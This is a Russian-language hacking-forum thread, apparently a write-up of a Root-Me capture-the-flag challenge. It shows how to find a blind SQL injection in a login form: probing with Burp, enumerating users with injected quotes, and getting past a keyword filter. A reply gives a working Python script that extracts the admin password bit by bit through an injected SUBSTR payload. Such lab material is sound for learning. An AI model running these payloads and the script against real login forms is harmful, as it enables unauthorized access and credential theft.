• XSS.stack #1 – первый литературный журнал от юзеров форума

Пример SQLi Blind эксплоита на Python

top

(L3) cache
Пользователь
Регистрация
03.02.2020
Сообщения
252
Реакции
342
Когда говорят о SQLi у большинства возникает ассоциация примерно такая : ‘ » ; Поставить апостроф после какого-нибудь дорка, увидеть ошибку SQL и встречай мама своего кулцхакера. Честно говоря, это было актуально лет 10 назад. Сейчас, встретить что-то вроде .php?id= это как найти слиток золота в центре столицы, да и то не факт, что это будет не муляж, а запрос не будет правильно обрабатываться.

Сегодня хочу рассмотреть довольно интересный случай, и он не ограничится admin’ or 1=1. Так что запаситесь вкусняшками и налейте себе какао, будет на что посмотреть.

wAJb1hs4JzQ.jpg

Обычное поле ввода логина пароля. Чтобы найти уязвимость требуется повозится. В данном случае я воспользовалась burp

Поставила [] после username и password, чтобы ввести php в заблуждение, предоставив ему массив. Таким образом иногда могут вылезти предупреждения. Вот что вышло в данном случае:

hGnNJA2H7rk.jpg

Действительно мы видим предупреждение stripos()…. если поискать информацию об этой функции, то это своего рода фильтр, такой своеобразный WAF(нет) ))

И вправду, спустя какое-то время я увидела эту функцию в действии, она реагировала на некоторые ключевые слова, например union:

subMgJ0t2aA.jpg

Но до этого момента мы еще дойдем, а пока попробуем ввести в поля спецсимволы:

SPBBNQREtaY.jpg


Отлично! Мы на верном пути. Не забываем фиксировать ошибки, которые находим:
kBYSKHgRXQk.jpg

Следует вывод, что какой-то символ ломает синтаксис SQLite, поэтому сейчас надо его найти.

Методом проб и ошибок, оказалось что это обычная одинарная ковычка. Но только в одном поле, либо логина, либо пароля, а я вводила в оба, поэтому ошибка не появлялась.

lQzyxh-VgZk.jpg


Дальше интереснее — раннее при вводе неверного логина, пароля мы видели «no such user/password». Ну чтож, это наталкивает на мысль, что мы можем попробовать найти валидных юзеров. Сформируем запрос, например такой admin’ — а пароль введем рандомный:
0F1wmzci180.jpg

Чудненько, логин admin валидный, можно таким образом найти и другие, и кстати, регистр имеет значение. Так например Admin уже не является валидным юзером.

Поэксперементируем с запросами и выявим других пользователей:

Kf-4hI4oseA.jpg

c9KjybI__-4.jpg


Создать карусель

Ну а дальше я наткнулась на вышеупомянутый фильтр, когда хотела использовать запрос ‘ limit 0 union select 1,2,3 —.uni/**/on также не сработало. Так что придется выкручиваться =)

На помощь я позвала Python с библиотекой httplib

Я взяла исходники оттуда и буду допиливать. Нам нужны пост запросы, т.к. мы нашли уязвимость в них. Будем писать эксплоит

Это пример с сайта. Совсем сырой и не под нашу задачу. Перепишу его под нашу задачу.

UK0U3zx7e2U.jpg

Для проверки работоспособности и ответа:

ZYYKz2f3nmE.jpg


Ответ:
IRTYbyJFPDE.jpg


Чудесно, продолжим. Напишем первый эксплоит:
ENhaLpR5A9o.jpg


Как видно, используем библиотеку string и перебираем буквы и цифры:
OBm0Y88jS8g.jpg

Пароль найден, но он не подходит, т.к. заглавные буквы тут не определились.

Поэтому перепишем код, основываясь на уже имеющихся данных:
RTPWkbunUEU.jpg


Запустим и получим долгожданный пароль:
aGBccL9Y4xY.jpg




(с) Denis Matveev
cryptoworld
 
Теперь попробуйте оптимизировать
Код:
import requests
passwd = ''
for x in range(1,9):
    bits = ''
    for i in [128,64,32,16,8,4,2,1]:
        if 'Welcome' in requests.post('http://challenge01.root-me.org/web-serveur/ch10/',data={'username':f"admin' and unicode(substr(password,{x},1))&{i}={i}--",'password':' '}).text:
            bits+='1'
        else:
            bits+='0'
    passwd+=chr(int(bits,2))
print(passwd)
8 запросов на каждого персонажа
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх